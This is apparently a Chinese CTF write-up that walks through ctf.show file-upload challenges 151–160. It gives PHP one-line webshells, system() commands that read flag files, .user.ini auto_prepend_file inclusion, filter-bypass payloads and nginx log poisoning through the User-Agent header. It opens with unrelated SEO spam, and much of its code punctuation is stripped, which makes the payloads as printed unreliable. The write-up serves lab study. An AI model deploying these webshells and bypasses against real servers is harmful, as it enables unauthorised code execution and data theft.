官方网站怎样做,黄浦区做网站,北京平台网站建设多少钱,此网站无法提供安全连接 建设银行这段时间一直在搞文件上传相关的知识#xff0c;正好把ctf的题目写了写#xff0c;也算是给自字做个总结#xff01;
不过ctf有一个缺点就是所有的测试全部是黑盒测试#xff0c;无法从代码层面和大家解释#xff0c;我找个时间把upload-labs靶场做一做给大家讲讲白盒的代… 这段时间一直在搞文件上传相关的知识正好把ctf的题目写了写也算是给自字做个总结
不过ctf有一个缺点就是所有的测试全部是黑盒测试无法从代码层面和大家解释我找个时间把upload-labs靶场做一做给大家讲讲白盒的代码审计
一、实验准备
1.ctf网站
www.ctf.show
2.工具
burpsuite抓包工具、hackbar工具如果大家没有可以私我、firefox火狐浏览器
二、实验过程
一第151关 -- 前端验证
前提我们已知此处可以上传图片类型文件或者右键查看网站源码可以看见只允许.png文件
对于前端验证我们常用的有两种方法进行绕过
1.在右键检查-设置处启用禁止js
不过此方法不建议使用因为我们有时候虽然能够绕过但是当网页含有大量使用js编写的逻辑功能时会导致网页部分功能瘫痪
汗颜ctf也失效了所以还是老老实实使用第二种方法 2.将后门以.jpg/.png/.gif等允许格式发送使用bp抓包修改后缀 上传成功 但是此时可能会有小可爱问呐哎哎哎你咋知道就是前端验证呢说出你的证据
我们右键查看网页源码查看到js源码过滤逻辑只允许我们上传.png文件 3.利用后门文件
一句话木马上下两种POST括号内参数无论带不带引号均可以
?php eval($_POST[ws])?
?php eval($_POST[ws])?
对于上传成功的后门代码我们有两种方法去利用本文中我们统一使用第二种方法进行演示
1通过蚁剑连接寻找flag文件
payload
https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/upload/1.php
连接密码即post中所填内容
ws
2直接通过hackbar发送post包利用php内置system()函数执行
post datawssystem(ls ../); post datawssystem(tac ../flag.php); 成功
二第152关 -- 不严谨的后端验证
1.上传后门及分析
此处考察我们content-type验证为image/png、image/gif、image/jpg
传输正确文件抓包content-type为image/png 发送一句话木马1.php修改content-type值为image/png但是没有包
此处注意一下我直接上传1.php文件发现无法通过定睛一看才发现前端验证都没通过汗颜上传1.png的木马抓包修改成1.php文件 上传成功
2.利用后门
与151关类似我们使用第二种方法通过hackbar直接发包利用函数的方式获取flag
payload
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
post datawssystem(ls ../);
post datawssystem(tac ../flag.php);
成功
三第153关 -- 利用php中.user.ini文件进行解析
我们尝试使用151关和152关的思路进行解题发现无法实现继而想到后端是否过滤大小写抓包后将1.png文件改成1.pHp发现能够上传成功但是无法利用
突然崩溃但是.user.ini文件出现了正如apache服务中的.htaccess文件
1. .user.ini文件特性
当网站进行扫描时会将.user.ini文件指向路径的内容包含在首页文件处如index.php、index.html等使用参数auto_prepend_file包含至首页文件头部和auto_append_file包含在首页文件尾部进行配置
例如auto_prepend_file1.png //将1.png文件内容包含在首页文件中“”后紧跟需要包含文件路径
所以本题的解题思路
先将.user.ini文件上传至upload目录处并且在其中写入auto_prepend_file1.png紧接着上传1.png格式一句话代码最后访问payload即可
2.上传.user.ini文件使用bp中repaeater重发器功能进行上传
内容auto_prepend_file1.png
上传成功
3.上传1.png格式一句话木马
上传成功
4.利用
首先访问..upload/index.php触发.user.ini文件将1.png内容写入index.php中
paylaodhttps://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php
其次操作如上述两关
四第154关 -- 内容过滤
执行思路如153关但是在上传1.png文件时注意所过滤的内容
1.上传.user.ini文件
具体不在进行演示与上述153关相同
2.上传1.png木马文件寻找过滤内容
过滤内容php
经过多次尝试发包当文件内容不包含php字眼时可以上传成功所以过滤内容为php
所以我们的问题变成如何在不写入php字眼时传入后门提供方式如下
paylaod?eval($_POST[ws]);?
上传成功
3.利用后门
是骡子是马我们拉出来遛一遛进行前述关卡利用操作
首先访问首页文件触发.user.ini将1.png内容写入触发后门
payloadhttps://8d5042ac-a58e-46a4-82cf-90dd07ccc04a.challenge.ctf.show/upload/index.php
post datawssystem(ls ../);
post datawssystem(tac ../flag.php);
成功
五第155关 -- 内容过滤
整体思路与154关一样只是过滤内容不一样所以我们此关着重关注测试所过滤的内容
1.上传.user.ini文件
内容auto_prepend_file1.png
2.测试过滤内容
发现仅仅去掉php即可成功发送妈呀那不是直接和154关一样啦
过滤内容php
paylaod?eval($_POST[ws]);?
3.利用与154一致
访问../upload/index.php触发-寻找flag.php文件所在位置-查看flag.php文件内容
成功
-------------------------------我是漂亮的分界线---------------------------------
六156关 -- 内容过滤
由于ctfshow中一再强调关卡难度逐级递增所以我们尝试上述关卡中的方法
1.上传.user.ini文件
内容auto_prepend_file1.png
上传成功
2.上传后门1.png文件
尝试过滤内容
内容是否为php 不是
是否为POST、eval 不是
经过多次测试发现发现过滤内容是[
所以问题转变成如何在不使用[符号的同时上传后门
payload
?eval($_POST{ws});?
在php代码中可以使用“{}”代替“[]”所以后门内容可以改写成如上
上传成功
3.利用后门
首先访问../upload/index.php将1.png内容写入index.php -- 开始利用后门
payload
https://9c809923-7bd3-456a-b3bb-a754ec208124.challenge.ctf.show/upload/index.php
post data
wssystem(ls ../);
post data
wssystem(tac ../flag.php); 七157关 -- 内容过滤
处理思路与前面相同首先上传.user.ini文件 -- 上传1.png文件判断过滤内容 - 利用漏洞
1.上传.user.ini文件
内容auto_prepend_file1.png 2.上传1.png文件
判断过滤内容[和;
payload
?system(tac ../fl*)?
直接使用调用内部函数system()fl*中*表示通配符即所有以fl开头的文件所以本关不在利用后门漏洞而是访问包含文件index.php执行函数 3.利用
由于1.png中内容写入在../upload/index.php中所以我们直接访问此路径即可执行函数
payload
https://ff5b7999-7759-4737-9adf-2b2e4d01e19b.challenge.ctf.show/upload/index.php 成功
八158关 -- 内容过滤
依旧三件套上传.user.ini文件 - 上传1.png文件判断过滤内容 - 利用
1.上传.user.ini文件
内容auto_prepend_file1.png 2.上传1.png文件
妈呀直接使用上一关payload直接过了
payload
?system(tac ../fl*)? 3.利用
payload
https://41702df0-be1b-4d38-9aa8-6d30dd8f4fc4.challenge.ctf.show/upload/ 九159关 -- 内容过滤
依旧三件套上传.user.ini文件 - 上传1.png文件判断过滤内容 - 利用
1.上传.user.ini文件
内容auto_prepend_file1.png 2.上传1.png文件
上一关payload
?system(tac ../fl*)?
上传上一关payload发现过滤内容进一步为( 这下好了连函数也没有办法执行了看来只能如此了上反引号在linux操作系统系统中我们可以使用反引号包裹命令去执行而之前我们所有获取结果的操作都是使用命令得到所以使用反引号与我们目的不谋而合
paylaod
?tac ../fl*? 3.利用
思路与上一关类似
payload
https://1ad340f5-edcc-47a6-a780-8c952656afb4.challenge.ctf.show/upload 十160关 -- 内容过滤
三剑客思路如上
1.上传.user.ini文件
内容auto_prepend_file1.png 2.上传1.png文件
继续发送上一关的payload发现无法进行利用
并且 . 和 都被过滤了 看来祸不单行只能使出我最后的杀手锏文件日志出来吧
思路众所周知日志文件中一般会记录访问者的ua头所以我们利用这一点通过ua头向日志中注入后门代码再将日志文件路径包含在上传的1.png文件中又因为1.png会被.user.ini文件触发包含在index.php文件中所以我们访问index.php可以使后门生效
上传1.png熟知linux系统日志存放位置又此时过滤log字眼所以使用.进行连接
payload
?includevar/lo.g/nginx/access.lo.g? 我们访问看是否能查看日志
paylaod
http://0734d5a2-6623-454a-890d-d95f9b33bfbc.challenge.ctf.show/upload/ 在ua头处写入后门取名2.php
payload
?php eval($_POST[ws]);? 发现后门代码没有被加进去我们改变策略使用?tac ../fl*?